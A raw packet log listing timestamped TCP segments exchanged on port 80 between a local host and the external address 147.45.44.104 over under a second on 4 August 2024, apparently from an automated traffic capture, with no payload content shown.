Aug 4, 2024 02:21:36.207119942 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.207142115 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.207151890 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.207173109 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.207185030 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.207205057 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.207217932 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.207237005 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.207247972 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.207282066 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.207707882 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.207761049 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.207782030 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.207804918 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.207813025 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.207845926 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.207858086 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.207879066 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.207890987 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.207911968 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.207922935 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.207946062 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.207956076 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.207978010 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.207989931 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.208009958 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.208024025 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.208043098 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.208055019 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.208076000 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.208091021 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.208123922 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.208826065 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.208859921 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.208885908 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.208893061 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.208913088 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.208925009 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.208940029 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.208957911 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.208970070 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.208988905 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.208998919 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.209022045 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.209033012 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.209053993 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.209064007 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.209086895 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.209101915 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.209122896 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.209131002 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.209168911 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.308245897 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.308275938 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.308331966 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.308381081 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.309089899 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.309118986 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.309159994 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.309189081 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.309386015 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.309417963 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.309437037 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.309451103 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.309468985 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.309489965 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.309514046 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.309545040 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.309559107 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.309577942 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.309593916 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.309611082 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.309619904 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.309653044 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.309974909 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.310007095 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.310023069 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.310040951 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.310055971 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.310072899 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.310082912 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.310110092 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.310115099 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.310142994 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.310157061 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.310175896 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.310185909 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.310218096 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.310587883 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.310638905 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.310642004 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.310673952 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.310686111 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.310707092 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.310719013 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.310739994 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.310751915 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.310772896 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.310782909 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.310806036 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.310815096 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.310838938 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.310857058 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.310880899 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.310890913 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.310923100 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.310931921 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.310969114 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.311647892 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.311681032 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.311702013 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.311712027 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.311722994 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.311747074 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.311757088 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.311778069 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.311789036 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.311810017 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.311819077 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.311841965 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.311853886 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.311873913 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.311885118 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.311907053 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.311916113 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.311942101 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.311958075 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.311969995 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.311980009 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.312010050 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.312521935 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.312575102 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.312577963 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.312611103 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.312624931 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.312644005 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.312657118 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.312675953 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.312690020 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.312707901 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.312721014 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.312740088 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.312750101 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.312771082 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.312783957 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.312804937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.312813997 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.312835932 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.312848091 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.312880039 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.313628912 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.313662052 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.313687086 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.313689947 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.313704967 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.313723087 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.313730955 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.313755035 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.313776970 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.313786983 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.313797951 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.313818932 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.313823938 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.313852072 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.313860893 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.313884020 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.313893080 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.313915014 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.313920975 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.313949108 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.313961029 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.313999891 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.314580917 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.314630032 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.314631939 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.314663887 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.314675093 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.314696074 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.314704895 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.314728975 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.314743042 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.314763069 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.314773083 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.314796925 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.314810991 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.314829111 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.314842939 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.314873934 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.315243006 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.315274954 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.315296888 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.315306902 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.315324068 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.315346956 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.315351963 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.315377951 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.315390110 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.315409899 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.315419912 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.315443039 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.315464020 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.315475941 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.315489054 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.315507889 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.315519094 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.315540075 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.315555096 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.315572023 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.315584898 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.315603971 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.315615892 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.315649986 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.316178083 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.316229105 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.316230059 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.316258907 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.316281080 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.316289902 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.316302061 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.316323042 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.316339016 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.316355944 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.316370964 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.316387892 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.316400051 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.316420078 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.316430092 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.316452980 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.316468000 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.316493034 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.316504002 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.316550970 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.316553116 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.316584110 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.316596985 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.316617012 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.316627026 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.316648960 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.316659927 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.316694975 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.317205906 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.317239046 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.317254066 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.317271948 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.317281008 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.317303896 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.317322016 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.317334890 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.317348957 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.317367077 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.317378044 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.317399979 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.317414045 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.317435980 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.317447901 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.317470074 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.317480087 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.317502022 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.317511082 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.317534924 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.317544937 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.317567110 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.317579985 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.317600012 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.317608118 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.317642927 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.318144083 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.318176985 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.318192005 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.318208933 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.318223953 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.318243027 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.318253994 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.318274975 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.318285942 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.318309069 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.318320990 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.318341017 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.318353891 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.318373919 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.318398952 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.318406105 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.318414927 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.318439960 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.318451881 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.318474054 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.318485975 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.318516970 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.402092934 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.402127981 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.402160883 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.402183056 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.402213097 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.402259111 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.402290106 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.402303934 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.402323008 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.402338982 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.402353048 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.402362108 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.402385950 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.402396917 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.402426958 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.402692080 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.402724981 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.402739048 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.402761936 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.402765989 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.402791023 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.402805090 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.402832031 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.402859926 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.402892113 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.402903080 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.402925014 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.402934074 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.402956009 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.402966022 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.402987957 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.402996063 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.403019905 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.403033018 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.403053045 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.403064966 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.403086901 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.403095007 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.403120995 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.403126955 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.403163910 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.403541088 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.403585911 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.403693914 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.403726101 CEST	80	49757	147.45.44.104	192.168.2.4
